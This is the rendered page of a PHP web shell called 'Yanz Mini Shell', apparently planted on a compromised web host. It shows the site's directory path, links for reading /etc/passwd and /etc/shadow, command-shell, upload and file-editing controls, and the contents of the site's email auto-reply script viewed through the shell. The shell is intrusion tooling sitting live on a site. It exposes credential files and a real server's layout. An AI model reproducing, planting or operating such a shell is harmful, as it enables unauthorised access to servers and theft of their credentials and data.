Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
masterro
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // Auto-Reply Script for admin@subimicrotech.com $log_file = '/home/masterro/public_html/auto_reply_log.txt'; // Log start file_put_contents($log_file, "=== Script Started: ".date('Y-m-d H:i:s')." ===\n", FILE_APPEND | LOCK_EX); // Get email content from stdin $email_content = ''; $stdin = fopen('php://stdin', 'r'); if ($stdin) { while (!feof($stdin)) { $email_content .= fgets($stdin, 1024); } fclose($stdin); } file_put_contents($log_file, "Raw email content received:\n".$email_content."\n", FILE_APPEND | LOCK_EX); // Parse From and Subject from email headers $from = ''; $subject = ''; if (!empty($email_content)) { $lines = explode("\n", $email_content); foreach ($lines as $line) { if (preg_match('/^From:\s*(.*)/i', $line, $matches)) { $from = trim($matches[1]); file_put_contents($log_file, "Found From: $from\n", FILE_APPEND | LOCK_EX); } if (preg_match('/^Subject:\s*(.*)/i', $line, $matches)) { $subject = trim($matches[1]); file_put_contents($log_file, "Found Subject: $subject\n", FILE_APPEND | LOCK_EX); } // Stop at empty line (end of headers) if (trim($line) == '') break; } // Extract email from "Name <email@domain.com>" format $from_email = ''; if (preg_match('/<([^>]+)>/', $from, $matches)) { $from_email = trim($matches[1]); } else if (preg_match('/([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/', $from, $matches)) { $from_email = trim($matches[1]); } else { $from_email = trim($from); } file_put_contents($log_file, "Final From Email: $from_email\n", FILE_APPEND | LOCK_EX); // Send auto-reply if we have valid email and subject if (!empty($from_email) && filter_var($from_email, FILTER_VALIDATE_EMAIL) && !empty($subject)) { $reply_message = "Client ID: $subject Yes, we have the capacity for an immediate start. Call times are Am: 8:00am Lunch: 12:00 Tea: 4:00 Bed: 20:00 We are flexible with the call times Kindly regards Sandra"; // Use your actual email as From address $headers = "From: admin@subimicrotech.com\r\n"; $headers .= "Reply-To: admin@subimicrotech.com\r\n"; $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $headers .= "MIME-Version: 1.0\r\n"; file_put_contents($log_file, "Attempting to send reply from admin@subimicrotech.com to: $from_email\n", FILE_APPEND | LOCK_EX); if (mail($from_email, "Re: $subject", $reply_message, $headers)) { file_put_contents($log_file, "SUCCESS: Auto-reply sent to $from_email\n", FILE_APPEND | LOCK_EX); } else { file_put_contents($log_file, "ERROR: mail() function failed\n", FILE_APPEND | LOCK_EX); } } else { file_put_contents($log_file, "ERROR: Invalid email or missing subject. Email: '$from_email', Subject: '$subject'\n", FILE_APPEND | LOCK_EX); } } else { file_put_contents($log_file, "ERROR: No email content received via STDIN\n", FILE_APPEND | LOCK_EX); } file_put_contents($log_file, "=== Script Ended: ".date('Y-m-d H:i:s')." ===\n\n", FILE_APPEND | LOCK_EX); echo "Auto-reply processing completed\n"; ?>
Free Space : 247210999808 Byte